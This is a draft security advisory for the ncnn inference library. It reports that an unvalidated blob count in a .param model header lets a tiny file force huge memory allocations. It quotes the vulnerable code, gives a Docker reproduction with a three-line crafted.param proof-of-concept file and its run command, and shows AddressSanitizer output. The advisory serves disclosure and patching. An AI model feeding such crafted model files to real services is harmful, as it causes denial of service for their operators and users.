All advisories
Draft

Unbounded Model Blob Allocation Causes Denial Of Service

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Unbounded Model Blob Allocation Causes Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/net.cpp:2697 in Extractor::Extractor
Sanitizer verdict: specified RSS limit exceeded, currently set to soft_rss_limit_mb=200

Summary

The blob count in a text .param header is an unvalidated 32-bit integer that ncnn resizes two separate vectors from: Net::load_param sizes d->blobs, and every Net::create_extractor() sizes a fresh std::vector<Mat> of the same length. A three-line model file declaring a million blobs therefore commits hundreds of megabytes before any inference happens, and the amount is not bounded by the file's size. The proof of concept drives this through benchncnn's param= argument; any consumer calling Net::load_param on an untrusted .param is equally exposed.

Detail

The untrusted field is the second integer on the second line of the .param file. The only check applied to it is a sign test:

// src/net.cpp:1322
    // parse
    int layer_count = 0;
    int blob_count = 0;
    SCAN_VALUE("%d", layer_count)
    SCAN_VALUE("%d", blob_count)
    if (layer_count <= 0 || blob_count <= 0)
    {
        NCNN_LOGE("invalid layer_count or blob_count");
        return -1;
    }

    d->layers.resize((size_t)layer_count);
    d->blobs.resize((size_t)blob_count);

blob_count is rejected when non-positive but accepted up to INT_MAX. It is never compared against the number of blob names the layer lines actually mention, nor against the remaining file length, so a file of a few dozen bytes can request 2147483647 Blob objects — each carrying a std::string name and a Mat shape (src/blob.h:12-29).

The declared count is then re-used per extractor. Net::create_extractor() forwards d->blobs.size(), and the constructor allocates a Mat for every one of them:

// src/net.cpp:2507
Extractor Net::create_extractor() const
{
    return Extractor(this, d->blobs.size());
}

// src/net.cpp:2694
Extractor::Extractor(const Net* _net, size_t blob_count)
    : d(new ExtractorPrivate(_net))
{
    d->blob_mats.resize(blob_count);
    d->opt = d->net->opt;

The PoC's crafted.param header is 1 1000000: one layer, one million blobs, with a single Input data 0 1 data line naming exactly one of them. d->blobs.resize(1000000) runs at load time, and benchncnn's warm-up call to create_extractor() (benchmark/benchncnn.cpp:112) adds a second million-element allocation at src/net.cpp:2697. Under the run's 200 MB soft RSS limit the process reaches 336 MB and is killed inside operator new on that resize; the cost is per-extractor, so a server creating one extractor per request scales it with concurrency.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-unbounded-model-blob-allocation-causes-denial-of-service && cd ncnn-poc-unbounded-model-blob-allocation-causes-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > crafted.param <<'EOF'
7767517
1 1000000
Input data 0 1 data
EOF

docker build -t ncnn-asan .
docker run --rm --network none -e ASAN_OPTIONS=soft_rss_limit_mb=200 -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/benchmark/benchncnn 0 1 2 -1 0 param=crafted.param shape=[1,3,1,1]

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: specified RSS limit exceeded, currently set to soft_rss_limit_mb=200
    #0 0x779a79b87f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5df544972cfd in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5df544972cfd in ncnn::Mat::create(int, int, int, int, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.cpp:625
    #3 0x5df544956a96 in ncnn::Mat::clone(ncnn::Allocator*) const /ncnn/src/mat.cpp:85
    #4 0x5df544a13135 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:3022
    #5 0x5df544a0d193 in ncnn::Extractor::extract(char const*, ncnn::Mat&, int) /ncnn/src/net.cpp:2841
    #6 0x5df54490a84f in benchmark(char const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, ncnn::Option const&, char const*) /ncnn/benchmark/benchncnn.cpp:122
    #7 0x5df544912eb8 in main /ncnn/benchmark/benchncnn.cpp:376
    #8 0x779a7950e1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x779a7950e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x5df5449085c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)

==1==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: rss-limit-exceeded ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 in posix_memalign
==1==ABORTING

Credit

Zheng Yu @ DepthFirst